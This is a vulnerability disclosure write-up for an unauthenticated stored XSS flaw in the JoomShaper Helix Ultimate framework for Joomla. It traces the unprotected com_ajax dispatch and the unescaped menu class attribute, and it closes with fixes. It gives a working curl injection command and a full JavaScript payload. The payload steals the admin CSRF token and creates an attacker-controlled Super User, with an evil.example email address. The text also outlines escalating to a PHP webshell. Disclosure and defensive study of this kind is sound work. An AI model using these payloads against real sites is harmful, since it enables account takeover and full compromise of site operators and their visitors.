
Unauthenticated Stored XSS in Joomla Helix Ultimate (JoomShaper) <= 2.2.6
This is the strongest finding in this research folder — CRITICAL, fully confirmed end-to-end. Unlike the
delete-only bug in helix_ultimate_delete_poc.md, this one has a real, working path to full site compromise.
Component: JoomShaper Helix Ultimate Framework (plg_system_helixultimate + shaper_helixultimate template)
Version tested: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
Author: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() is a standard Joomla com_ajax plugin
event handler (). Joomla's core
component itself enforces — that is always the responsibility of the
plugin. This handler does an arbitrary static-method dispatch:
index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>com_ajaxpublic function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
The namespace is hardcoded (HelixUltimate\Framework\HttpResponse\), so this is not a fully arbitrary RCE
gadget by itself — but every single public static method in src/HttpResponse/Response.php becomes callable
by anyone, unauthenticated, with zero CSRF token. None of them call Session::checkToken() or authorise().
This is a completely different, separate entry point from the admin-gated Request/Platform class covered in
the delete write-up — com_ajax bypasses that gate entirely.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
This writes attacker-controlled JSON directly into a live, public-facing Joomla menu item's params
column — no login, no CSRF token, one HTTP request.
overrides/mod_menu/default.php (real, shipped template code)The actual distributed shaper_helixultimate template's html/mod_menu/default.php is a 1-line shim:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
which resolves (verified by reading HTMLOverride.php) to
plugins/system/helixultimate/overrides/mod_menu/default.php — the file that actually renders the site's main
navigation menu on every page, for every visitor:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — a key we fully control via saveMegaMenuSettings() — is concatenated straight into an HTML
attribute with no htmlspecialchars().
shaper_helixultimate template + plugin 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
No CSRF token field was sent at all — not even the trivial harvested-from-homepage token the delete bug needed.
Resulting HTML served to every subsequent visitor of the homepage:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
A live, browser-executable <script> tag, injected with zero authentication, rendered on the single most
visited page of the site (the main navigation, present on every page via the module position, not just the
homepage).
This is exactly the scenario the CVE-2026-48909 folder was originally chasing, reached from a completely different angle: unauthenticated stored XSS + session-riding = account takeover, without ever needing to steal a password or brute the installer.
Any Administrator who ever opens the public site's homepage in the same browser where they are (or recently
were) logged into /administrator will execute attacker JavaScript with their browser's cookie jar intact.
Concept payload (not executed against a real admin session in this lab — this lab has no browser automation set
up to simulate an actual logged-in admin visiting the page; the XSS delivery itself is 100% confirmed above,
this is the well-understood, standard next step):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
Because the browser attaches whatever session cookie it holds for the site's origin to any same-origin
request — regardless of which tab or page triggered the JavaScript — this succeeds as long as the admin's
backend session cookie is valid in that browser at the time the frontend page is viewed. This creates a brand
new Super User account with attacker-chosen credentials. From there: log in to /administrator, edit any
template file (or install a new one) to add a PHP webshell → full RCE.
Why this is stronger than the delete bug: no write-content limitation applies here — this primitive writes data (JSON into a DB column), not files, but that data is rendered as live HTML on every page view, which is exactly the "write" primitive the delete bug was missing. Combined with the standard XSS→session-riding pattern, it closes the loop the delete bug could not.
helix_ultimate_xss_detect.pyNon-destructive-ish: writes a harmless, inert marker string (no <script>, no quotes) into customclass and
checks whether it comes back unescaped in the rendered homepage HTML. Restores/clears the value afterward.
helix_ultimate_xss_poc.pyWrites a real <script> XSS payload (default: a harmless alert() proof, or a custom payload via --payload)
into a chosen menu item's customclass, verifies it renders unescaped, and prints the ATO/session-riding
concept payload above. Use only with written authorization — this modifies live site data (the menu item's
saved layout) until manually cleaned up.
onAjaxHelixultimate() must not blindly dispatch to arbitrary methods in HttpResponse\Response without a
permission check — at minimum require a valid Joomla session + Session::checkToken() before allowing any
state-changing task (menu-saving, module list, mega-menu builder methods).overrides/mod_menu/default.php (and any other override reading
helixultimatemenulayout/customclass) must htmlspecialchars() (or Joomla's HTMLHelper::_('esc.html', ...))
any value pulled from menu item params before echoing it into HTML attributes — defense in depth, since
menu params are technically meant to be admin-only data but are clearly reachable by more than that here.Amin İsayev / Proxima Cyber Security — 2026. Educational / authorized-testing use only.